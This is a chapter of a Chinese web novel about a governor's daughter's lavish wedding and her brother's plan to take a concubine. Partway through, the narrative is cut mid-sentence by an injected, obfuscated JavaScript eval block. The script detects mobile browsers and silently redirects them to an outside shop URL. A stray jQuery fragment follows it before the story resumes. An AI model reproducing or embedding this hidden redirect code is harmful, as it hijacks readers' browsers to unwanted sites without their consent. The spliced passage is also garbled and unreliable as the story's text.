杜容成婚是多年来第一锦办的第二件喜事,上次还是杜新成婚。她又不办寿,平日里又不巧立名目搜刮收礼,所以这次婚宴就成了许多人表态的机会,各方势力都作出反应,共襄盛举。
此时还不流行新娘子退居幕后,遮掩面容,更何况杜容向来不守规矩,除了婚礼当日却扇后入洞房,之前和之后,都是泰然自若,指挥待客,没耽误自己的工作。
杜新也很高兴,忙前忙后,作为涿州的代言人和新娘的兄长,忙得不亦乐乎,甚是热情。
来宾包括皇帝的使者,京中杜家和故交派来的子弟,其他节度使派的都是自家儿子或女婿,还有第一锦治下官员专程道贺。其中不乏奉送重礼的,第一锦也照单全收,若是适合给新人用,就直接送去杜容那边。
桃花云母屏风,千年玳瑁床,象牙妆台,犀角灯,样样都能说出个来历,也的确是珍稀罕见,还挺适合新婚夫妇使用。第一锦问了杜容喜欢,就叫人搬过去。
杜容现在住在节度使府衙一处独立的三进院,因为封上了好几条路,开了门专门对外出入,只留下一条步行十分钟的通勤之路,甚是清幽静谧。院子里花草繁茂,是提前就移栽好的,此时正是灿烂缤纷。
院内三进,第一进是杜容会见下属,处理事务的书房,有不同的值班室,负责回事,负责文书,负责随时传达命令的人全都在这里值班。管家平日里也只对杜容负责,日常来此汇报。
除此之外还有杜容自己的书籍珍玩,陪侍的下人,惯用的东西——她年纪渐长,虽然成婚晚,但有母亲作为榜样,倒是不缺男人,第一锦专门找了美貌年纪小的男仆,让人教授乐器诗词谈吐举止,放进女儿房里。
杜容也抗拒不了诱惑,虽然觉得不太对,身体还是很诚实。
这些人的身份就是通房,新婿也是知道的。将来是否会有名分不可知,现在反正是留在书房,半主半仆而已。
所幸没生出私孩子来,也没让他认在自己膝下,做一个大度嫡父,所以他觉得,算了,做一个大度嫡室也没有那么难。
新婿祖上显赫,很拿得出手,是开国大族的旁支,但后人不肖,加上爵位降等承袭,后代自然享不上福,要凭自己的本事。他曾祖父官至宰相,但自祖父开始,就一代不如一代,空耗老本。
作为见过富贵余烬的人,骨子里还是有一股傲气的,觉得自己本该回到开始那个位置。但若真凭本事,何年何月才能回去?说不定朝代灭亡就在眼前。
所以杜容选婿,作为公务员,工作体面,颜色出众,举止教养都很拿得出手的他就慨然报名。
除了小说里脑子有泡的男主,没有男人会拒绝尚公主,土皇帝的公主也一样。
只是上嫁吞针,好处也不是那么好拿的。节度使给的聘礼丰厚,待遇也颇佳,更不阻止他婚后继续工作,代价自然是处处以妻为先。就比如说一般人家,外书房自然是给丈夫的,但在这个家里,杜容毫无疑问是丈夫的地位。
不过她并不是仗势欺人的性子,第二进就是新婿居住的正院,堂屋五间,自然为新婿居住起居,二人恩爱相处也在此处。东西厢房则一边改为书房,一边改为琴房,还引了活水,建了浴池。水直接流进大锅里烧热,再从大锅里直接送入浴池,沐浴十分方便,在此地,还是绝无仅有的享受。
这个技术还不太成熟,且条件太高,第一锦就算尝试多次,也还是只能在节度使府衙使用。
后面一进是一个小花园,假山凉亭小桥活水,应有尽有,甚至还能登高。在此处焚香,弹琴,望月,都是极其舒适的。
新婿进门后,只觉得她给的太多,况且妻子貌美,柔情蜜意,对自己十分喜爱,自然是好的蜜里调油,心头纵然有过些许别扭,很快也投入家庭生活。他的职位是文书,工作并不繁忙,如今事业心也没了,一心一意经营小家。
第一锦不由评价:“很多男人为什么那么恨女人,张口是躺下就有钱赚多轻松,闭口是实在不行还能找个男人养?因为他们自己就有一个做娇妻的梦想,米虫多爽啊?家别人养了,福自己享。”
绝大部分人类其实都没有什么坚韧不拔的意志,能够脱颖而出的才华,更没有什么伟大的梦想,如果真能躺平享福,真到了面前是不可能拒绝的。只不过这也是个梦想,并不现实罢了,全职主妇要料理家务,全职儿女要照顾父母,嫁给富豪也不是开始,看不见的劳动也是劳动。
每一双水晶鞋里都插好了给主人准备的针,有些甚至是捕兽夹。
所以吃不了这种苦,就要吃那种苦,这就是痛苦守恒定律。只不过每个人都会做出自己觉得值得的选择,把某些路装点的格外繁花似锦。
第一锦也不会瞧不起娇夫,毕竟她这种女人喜欢娇夫。
.
新婿把杜容照顾的很好,两人一看就十分恩爱,就算不是故意,也衬托出杜新和妻子的生疏有多明显。
刚因为妹妹嫁人而高兴的杜新,很快觉得事情不能再这样下去了。第一锦看上去身强体健,还能活很久,只要她还掌握权力,杜新就永远只能做一个努力让她满意的儿子。而随着时间推移,让她满意必然越来越难。
谁都知道做多错多,何况是做几十年?
虽然母亲只有自己一个儿子,没有其他选择,且涿州内部一向平静繁荣,没有经历过权利更迭,但其他地方的节度使位置继承,可没少探索新花样。兄弟相传,义子继位,下属篡权……
母亲也未必不能生!
危机感很重的杜新又想在婚姻上下功夫了,无论如何生出个孩子来也是好的。他虽然真的不喜欢顾英华,尤其是经历大起大落后,顾英华跟彻底顿悟了一样,生活简便不少,工作上也从专职教书育人专为对教育体系的关切与研究,上了好几次书,得到第一锦的赏识
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704307|206379||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后,保留教职被转移到了教育部门工作,最近正在各处走访,收集数据,以备教育改革。
这是第一锦的要求,没有调查就没有发言权,不知道各种学堂的现状,拿不到数据,就贸然改革也是不可以的。虽然经验丰富且有天赋的老官吏可以一眼看出利弊,不需要数据,实地走访就能做出有效改变,但有了数据总是更直观,更方便决策的。
况且经验和天赋都是稀缺之物。
顾英华走下朱门绣户,杜新不赞同,但也不反对,他就是觉得对方太忙了,忙到连从前的表面功夫也不维持,和杜容那边一对比,简直凄凉。
所以他越发思念顾英娥,虽然顾英娥也考公上岸了,且分数很不错,想也知道前途远大。所有人都知道节度使偏爱用女子,而杜容那边也是女子方便些,所以顾英娥用不上他,杜新失去了当她救世主的可能。
更何况那还是妻妹。
杜新找了个顾英华在家的时间,安排酒宴,跟她共饮,修复了一会儿感情,开始感慨夫妻多年却无子嗣的事,又道:“夫人,如今你我膝下空空,眼看着妹妹都已经成婚,如此下去,岂不孤单寂寞?”
顾英华擎杯看向他:“夫君是想收义子吗?军中的确有不少故旧子侄,倒也合适。”
她的宽容让杜新一噎,但话题又理解错了。杜新还是想自己生的,他还是说出了口:“我想纳妾。”
顾英华的笑容慢慢收敛:“娘同意了吗?”
她倒不是在乎丈夫要有别的女人,毕竟这么多年她和杜新关系冷淡,也不影响生活,就是再来一个女人,她也还有工作。但习惯了人口稀少,清净的生活,顾英华下意识反感纳妾这件事。
不只是家里多个人,哪怕不用照面,烦心事也会层出不穷。她发现自己还是记得多年前父亲的莺莺燕燕们,虽然对方在自己面前,往往也是周到热情的,谁都不会在明面上又什么不堪。
但那种高门大户里风一样不断的窃窃私语,道路以目,每个人都好似有着秘密,只能压低嗓子,用眼神,用暗示,来交流一切的氛围,是不会断绝的。
每个人都有一肚子苦水,每个人也都有非要争的体面。
顾英华从前安之若素,现在惊觉自己居然觉得难以忍受。
婆母是否会同意丈夫纳妾,她不知道,但她知道杜新很在乎这点。杜新的笑容也是一僵:“娘也该抱孙子了。”
他看了看顾英华的表情,不是很走心地安慰道:“不过你放心,若是生了孩子,自然是你来教养,跟你亲生的是一样的。”
其实他觉得要是能倒逼顾英华主动,给他生个嫡长子就更好了。虽然实在脾性不合,但若说是做母亲,教育孩子,自然还是顾英华更好。
顾英华觉得,他比自己还熟练嫡嫡道道,高门大户那一套无处不在的规矩。在涿州这么些年,自己都变了,他怎么还能一如初见的?